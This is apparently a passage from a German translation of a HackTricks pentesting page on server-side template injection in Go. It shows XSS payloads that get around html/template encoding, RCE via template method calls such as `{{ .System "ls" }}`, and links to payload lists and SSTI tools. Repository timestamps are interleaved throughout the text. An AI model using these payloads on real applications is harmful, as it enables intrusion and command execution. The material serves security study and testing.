* `{{html "ssti"}}` , `{{js "ssti"}}` : Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier ](https://golang.org/pkg/text/template ) erkundet werden.
2021-05-27 10:20:50 +00:00
2024-02-10 15:36:32 +00:00
**XSS-Ausnutzung**
2022-02-03 00:17:18 +00:00
2024-02-23 16:45:59 +00:00
Mit dem Paket `text/template` kann XSS einfach sein, indem der Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. führt `{{"<script>alert(1)</script>"}}` zu `<script>alert(1)</script>` ). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
2022-02-03 00:17:18 +00:00
2024-02-23 16:45:59 +00:00
vbnet Copy code
2022-02-03 00:17:18 +00:00
2024-02-10 15:36:32 +00:00
**RCE-Ausnutzung**
2022-02-03 00:17:18 +00:00
2024-02-23 16:45:59 +00:00
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template` . Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar [hier für html/template ](https://golang.org/pkg/html/template/ ) und [hier für text/template ](https://golang.org/pkg/text/template/ ).
2022-02-03 00:17:18 +00:00
2024-02-23 16:45:59 +00:00
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine `System` -Methode hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}` . Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
2024-02-10 15:36:32 +00:00
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html ](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html )
* [https://www.onsecurity.io/blog/go-ssti-method-research/ ](https://www.onsecurity.io/blog/go-ssti-method-research/ )
2021-05-27 10:20:50 +00:00
2024-02-10 15:36:32 +00:00
### Weitere Exploits
2021-06-25 12:34:30 +00:00
2024-02-23 16:45:59 +00:00
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ) für weitere Exploits. Sie können auch interessante Tags-Informationen unter [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ) finden.
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
2020-07-15 15:43:14 +00:00
2022-10-25 15:56:49 +00:00
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
## Verwandte Hilfe
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
* [Flask-Tricks ](../../network-services-pentesting/pentesting-web/flask.md )
* [Python-Magiefunktionen ](broken-reference/ )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## Tools
2020-07-15 15:43:14 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/Hackmanit/TInjA ](https://github.com/Hackmanit/TInjA )
* [https://github.com/vladko312/sstimap ](https://github.com/vladko312/sstimap )
* [https://github.com/epinna/tplmap ](https://github.com/epinna/tplmap )
* [https://github.com/Hackmanit/template-injection-table ](https://github.com/Hackmanit/template-injection-table )
2021-06-27 21:56:13 +00:00
2024-02-10 15:36:32 +00:00
## Brute-Force-Erkennungsliste
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
## Übung & Referenzen
2020-07-15 15:43:14 +00:00
* [https://portswigger.net/web-security/server-side-template-injection/exploiting ](https://portswigger.net/web-security/server-side-template-injection/exploiting )
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI )
2024-02-06 14:12:47 +00:00
* [https://portswigger.net/web-security/server-side-template-injection ](https://portswigger.net/web-security/server-side-template-injection )
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-23 16:45:59 +00:00
[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:45:59 +00:00
< summary > < strong > Erlernen Sie AWS-Hacking von Null auf Held mit< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-01 17:15:42 +00:00
2024-02-23 16:45:59 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten** , überprüfen Sie die [**ABONNEMENTPLÄNE** ](https://github.com/sponsors/carlospolop )!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch** ](https://peass.creator-spring.com )
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), unsere Sammlung exklusiver [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 16:45:59 +00:00
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegramm-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) Github-Repositories einreichen.
2022-04-28 16:01:33 +00:00
< / details >